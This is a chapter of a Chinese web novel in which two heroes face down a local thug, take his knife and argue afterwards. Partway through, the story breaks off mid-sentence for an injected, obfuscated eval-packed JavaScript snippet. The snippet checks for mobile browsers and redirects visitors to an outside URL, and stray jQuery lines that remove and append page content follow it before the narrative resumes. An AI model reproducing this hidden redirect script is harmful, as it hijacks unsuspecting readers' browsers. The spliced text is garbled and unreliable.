10. 第10章

作品:《我靠说唱在古代发家致富

    “这这……少侠,此言差矣啊!”


    王成山小心翼翼的扭头,眼睛滴溜溜乱转,似乎正思索的说辞,片刻后,他似乎找到恰当的借口,于是嘴角裂开更大的笑容,“嘿嘿”两声道:“这借契如此重要的东西,怎么会随身携带呢?”


    说罢,他故作为难,叹息道:“这出门在外不过也是混口饭吃,你看这摸爬滚打的,又何苦为难我……”


    王成山话还没说完,冷迟雾倒是彻底听不下去了,能将逼迫民众写下霸王条款说的如此清新脱俗,倒也着实是个人才。


    反正如今也是得罪了人,冷迟雾倒也不在避讳,直言拆穿道:“如此重要的东西既然不带在身上就如此大张旗鼓,你倒是不怕人怀疑,落井下石。”


    虽说青楼买卖女子,但在朝代里这到底也是正经生意,得须得女子本人同意。


    若这女子本人不同意,也需其亲属家眷按着的女子压着手印,亦或是像借契一样的条款束缚。


    这前者来源于该朝代的一种理念,身体发肤,受之父母。


    至于这后者,与现代的卖身合同倒有些类似,手印一按,那就是本人同意,契约关系达成。


    王成山算不得那女子的亲眷,自然只有用那借契来做防身盾,为自己的行为讨一些合理性。


    冷迟雾的说辞让王成山面露尴尬,他脸上的笑容僵持了一下,原本处在身前的手指紧握成拳,似是不停压抑着心中的怒火。


    但饶是如此,面对景卿如手上的那把大刀,面容上他仍然不敢露出一丝一毫的不情愿,只能尴尬的陪笑着:“是我疏忽了,说来惭愧,也多亏这位少侠……”


    王成山勉强挤着笑容,势风落下话已出口,他便只得硬着头皮继续自己拙劣的谎言:“还有这位姑娘的提醒,我才意识到竟忘了如此重要的事情……我们即刻回去取,回去取……”


    景卿如垂眸,并不表态,只是漫不经心的打量着眼前这把寒光闪闪的大刀,这刀上面劣迹斑斑,不知道究竟是血还是锈,但瞧着把柄上的布料已经磨损的不成样子,显然使用频率极高。


    只是瞧着民众对他们的表现,便不难猜出对方大抵经常在此为非作歹。


    也不知王成山的这些狗腿子,究竟用这武器威胁过多少无辜的民众。


    而且……


    景卿如默不作声的把玩着刀柄,他习武多年,见过的武器数不胜数,劈砍练习的木桩自然换了一批又一批。


    什么样的刀在什么样的力道下会在什么样的木头上留下什么样的痕迹,只是瞧这武器便能猜出一二。


    此刀略显厚重,刀刃微钝,倘若重力劈在木头之上,大概会留下不规则的齿痕,甚至完全断裂。


    他在冷迟雾的戏馆上看到锐器痕迹,包括后面所看到的牌匾上所留下的痕迹,都与此刀颇为吻合。


    只是经验所谈,但不能即刻确认,还需找个时间验证一番。


    见着景卿如和冷迟雾都是沉默不语,王成山心中更是忐忑不安,此时他心中早就想出了折磨二人的一百种方法,但眼下最重要的,就从这二人手中脱困。


    想着二人可能是因为那女子死活都要与他周旋,于是顺着二人的话妥协道:“这次的确是我疏忽了,我们回去拿了借契在议就是。”


    景卿如看他一眼,也不恼,只是勾着十分标志性的浅笑,让人看不出情绪。


    他自然能看出王成山的想法,但却没有猜穿,只是顺着他的话说道:“既然这样,那这姑娘便先跟着我们吧。”


    说到这,景卿如顿了顿,给出了一个合理的解释:“倘若事情正如你说的那般,拿了借契在找我们要人便是,如此一来也免去了我们之间的误会,无外乎不是个好主意。”


    言语间,景卿如将视线撇向了冷迟雾,似乎在询问冷迟雾的意见。


    冷迟雾略作迟疑,按理说他们如今已经得罪了王成山,如果再将那姑娘放入自己屋檐下,难保不会引火烧身。


    但又细想,大概景卿如做这件事有自己的道理,况且如今已经得罪了人,好像无论做什么梁子已经结下,以王成山的性格多半不会善罢甘休,便想着先配合景卿如,事后的定夺。


    于是她点点头,表示可行。


    “这……”


    王成山拳头收紧,心中以是怒火中烧,今日他本欲卖人收银,先是被两个不长眼的拦路了不说,竟还要被质问,被拷打,还被毁了生意。


    这两个不长眼的究竟是什么人?


    居然吃了熊心豹子胆,敢在他这动土!


    那女子看起来略有些熟悉,只是实在想不起是何姓名,但这男子似乎从未见过。


    他在这混了有数余年,武功强硬的汉子见过不少,景卿如这号人物怎么从未听说过?


    见王成山不说话,景卿如也不气恼,手腕一翻,刀尖无意识的划过对方的脖子。


    王成山一个机灵,瞬间感觉一种酥麻冰冷的凉一袭遍全身,大脑顿时一片空白,犹豫再三后,他松开了紧握的拳头,扯了扯有些笑僵的嘴角,忍辱负重道:“好好好,那寻到借契后,不知我该去何处寻人呢?”


    冷迟雾略微迟疑,但转念一想,此地就这么大地方,挨家挨户询问怕也很快就得出结果,于是便将地址报了出来。


    见对方连连称是讨饶,景卿如便也不为难他,将刀子移开,漫不经心道:“我看这刀颇为锋利,既然你我有缘,那你赠我可好?”


    听闻此言,冷迟雾微微一愣,不清楚景卿如为何要刀。


    这下不止冷迟雾,连王成山都愣住了,一时间他甚至怀疑自己的耳朵听错了,打人拦路就算了,居然还要拿他的刀?!


    怎有如此不要脸之人?


    但偏偏此刻正处下风,连发作的机会都没有,王成山只得继续撑着那副比哭还难看的笑容,咬牙说了声好。


    景卿如颇为礼貌的笑了笑,还不忘道谢:“那就多谢了。”


    说罢,这


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15080642|163198||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    才后退一步,给足了空间让王成山起来。


    见二人没有继续攻击的样子,王成山这才一瘸一拐站起来,此时他身上衣服已经被胡椒粉和泥土弄了个“和稀泥”,整个人看起来好像乡野的落魄乞儿。


    身上的胡椒粉散发出呛人的味道,王成山内心憋屈至极,但偏偏别无他法,他摇摇晃晃走到那两名趴在地上壮汉面前。


    此时他胸胸里憋了一股火,见那两人躺在地上还时不时哼哼,心里的火再也压不住,顾不上疼痛,伸出脚直接踹在一名壮汉身上:“起来!成事不足败事有余的家伙!丢不丢脸!?”


    “哎呦,疼疼疼疼!”


    几阵哀嚎声响起。


    王成山更加生气,脚上用力狠狠将二人踩了一遍:“还不嫌丢人,快起来!”


    那两人被踩急了,忙哼哼着从地上爬起来,一行三人这才摇摇晃晃,灰头土脸的走了。


    周围陷入一片寂静,这混乱的场地便只剩下冷迟雾,景卿如,还有不远处那名昏迷的女子。


    眼见着王成山几人走远,仅剩的那一部分在远处遥望的人皆是一脸迷茫,谁都没料到最后会是这样一副场景。


    他们你看看我,我看看你,眼神当中皆是惊讶之色。


    冷迟雾倒是没心情去注意那些人,看了看杂乱不堪的场景,感觉心下一阵郁闷,如果不是因为他们二人,这集市倒也不至于变成这般模样,如果众人都要索赔一二,那可不就是债上加债了吗?


    “这么冲动做什么?”冷迟雾先发制人,先前有王成山在场,两人形势相同,自然不应该伏了景卿如的面子。


    但现在近距离可没旁人,冷迟雾可要“讨个说法”了。


    景卿如捏着手里的刀,并不回答,只是轻笑一声,意味深长抬眸看着冷迟雾,眼里似乎有探寻的情绪闪过,看的冷迟雾莫名一阵发麻,那感觉就好像被人看穿了似的,竟莫名生出了些许心虚的情绪。


    “……”


    冷迟雾下意识撇开视线,奇怪,明明这人的表情极具温柔,看不出什么起伏的情绪,举止也恰到好处,但就是莫名……


    冷迟雾快速将脑中的想法清除出去,明明她没做过什么亏心事,可不能被对方的眼神“震慑”住了。


    用眼神杀逃避责任可耻。


    见状,冷迟雾也不在无声对峙,突然一甩宽大袖袍,将胳膊往前一递,停在景卿如眼前,用衣袖挡住他的眼睛,直接从物理层面消除阻碍,这才继续道:“这样看我也没用,你且给我一个合理的解释。”


    视线被那抹红色衣袖挡住半分,淡淡的胡椒粉气息缭绕,并不刺鼻,倒是多了几分俏皮。


    景卿如神色略怔,迟疑了片刻才反应过来冷迟雾的意图,不觉有些好笑,但倒是也是没推开,只是将问题重新抛了回去:“我还未向冷姑娘讨个说法,姑娘倒是先要讨伐我了?”


    听闻此言,冷迟雾彻底蒙了,将手一放,不可置信:“你还要讨伐我?”